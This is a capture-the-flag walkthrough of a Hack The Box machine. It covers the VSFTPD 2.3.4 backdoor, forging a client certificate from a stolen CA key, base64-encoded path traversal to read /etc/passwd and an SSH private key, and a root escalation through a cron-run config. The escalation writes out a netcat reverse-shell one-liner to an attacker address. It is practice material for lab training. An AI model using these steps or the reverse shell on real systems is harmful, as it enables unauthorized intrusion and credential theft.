Again, we start with nmap -sC -sV -oA ./lacasa 10.10.10.131
FTP, SSH, HTTP, and HTTPS are the services we have to play with. VSFTP does not allow anonymous login. We definitely don't have credentials for SSH this early. So, let's start with HTTP and HTTPS.
If we try the QR code through Google Authenticator, we get a code, but entering it into the "One Password" field does nothing. The HTTPS page throws a certificate error. So far I'm 0 for 4 on this box. A quick Google search finds a backdoor vulnerability in Metasploit for VSFTPD version 2.3.4. Let's try to exploit it without MSF first. If we look at the MSF exploit (/usr/share/exploitdb/exploits/unix/remote/17491.rb), it appears to try connecting to 21 and when fails routes over to 6200 as shown here:
We can write our own python script that essentially does the same thing, just make sure the username includes the :) characters. I used:
Make sure rlwrap is installed using "sudo apt-get install rlwrap". The exploit drops us into a Psy shell, which is an interactive PHP debugger. We should be able to execute PHP commands from this. Running whoami tells us that system commands are off limits. Let's see what we are looking at here.
So, we have some directory listing/traversal capabilities. Looking around, we find the user flag inside the /home/berlin folder, but we have no way to view it just yet. We can, however, view the ca.key file inside /home/nairobi.
I found the ca.key file by first trying ls, which gave me a $tokyo variable, which I then "show"'d
We have the ca.key contents. Create your own ca.key file and paste the contents into it. Let's export the server certificate and then see if we can generate a client cert from them. Just click the lock on the HTTPS address bar, hit the > to the right of Connection, then More Information, then View Certificate, then the Details tab, and lastly Export. Remember where you save it. To generate a client certificate run these 4 commands:
openssl genrsa -out client.key 4096
openssl req -new -key client.key -out client.req
openssl x509 -req -in client.req -CA lacasadepapel_htb.crt -CAkey ca.key -set_serial 101 -extensions client -days 365 -outform PEM -out client.cer
openssl pkcs12 -export -inkey client.key -in client.cer -out client.p12
You now have a client.p12 client ceertificate. Now we just need to import it into Firefox. We do that by going to Preferences, go to the Privacy and Security tab (on the left side), scroll all the way down to the bottom and select View Certificates, choose the Your Certificates, and then Import. Import the p12 file and refresh the page. When you do it will ask you to choose a certificate.
Alright! Now we are in the "Private Area"
While looking around, I noticed something interesting with the URL. Do you see it?
https://10.10.10.131/?path=SEASON-2 path=SEASON-2..... Possible Traversal opportunity? Let's give it a shot. Trying
https://10.10.10.131/?path=../../../../../../../../../../etc/passwd gives us a weird error.
Let's look at one of the episode downloads. Well that URL looks interesting. Using Base64 Decode, we can see the URL decodes to
So, let's encode ../../../../../../../../../etc/passwd into Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA== and try the file URL with our encoding
Outstanding! File traversal achieved. We could get the user flag from here, but let's wait until we actually get a root shell. First things first though, we need a user shell. Since we are trying to get a user shell, and the files are located in /home/berlin/downloads, let's try getting the id_rsa from berlin and see what happens. Just encode ../.ssh/id_rsa and navigate to it. If we do this right, we should get Berlin's Private key for ssh.
One private key! Strange. It doesn't work for berlin. Let's try professor (since it's the next one down of the /etc/passwd list above). That did it. We are now professor. Looks like we need to privesc to Berlin, then again to root. As usual, wget the LinEnum.sh file over to the target.
On Attacking Machine:
python3 -m http.server 9999
On Target Machine:
chmod +x LinEnum.sh
On Line 12725 of the LinEnum.sh output (which as usual is in the attached CTB file), is a service running memcached.js in the professor's home folder. Let's take a look & see.
Arg! We have no permissions for the .js, but we do for the .ini. What's in it?
command = sudo -u nobody /usr/bin/node /home/professor/memcached.js
OK, so it runs the memcached.js as nobody. We can't modify the INI directly, but we do have folder permissions. Let's create a shell script for a reverse shell
and then replace the memcached.ini with one of our own. First, the shell script. I used:
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.XX.XX 9999 /tmp/f' >> shell.sh
Next, move the current ini and make the new one.
mv memcached.ini memcached.bak
command = su -c /tmp/shell.sh
chmod +x shell.sh
Now, we set a netcat listener on our machine with "nc -lvnp 9999" and wait. Emphasis on wait. It's on a cron job that runs every 3-5 minutes. Make sure shell.sh has that +x executable or it won't work. When it runs, you will have a root shell.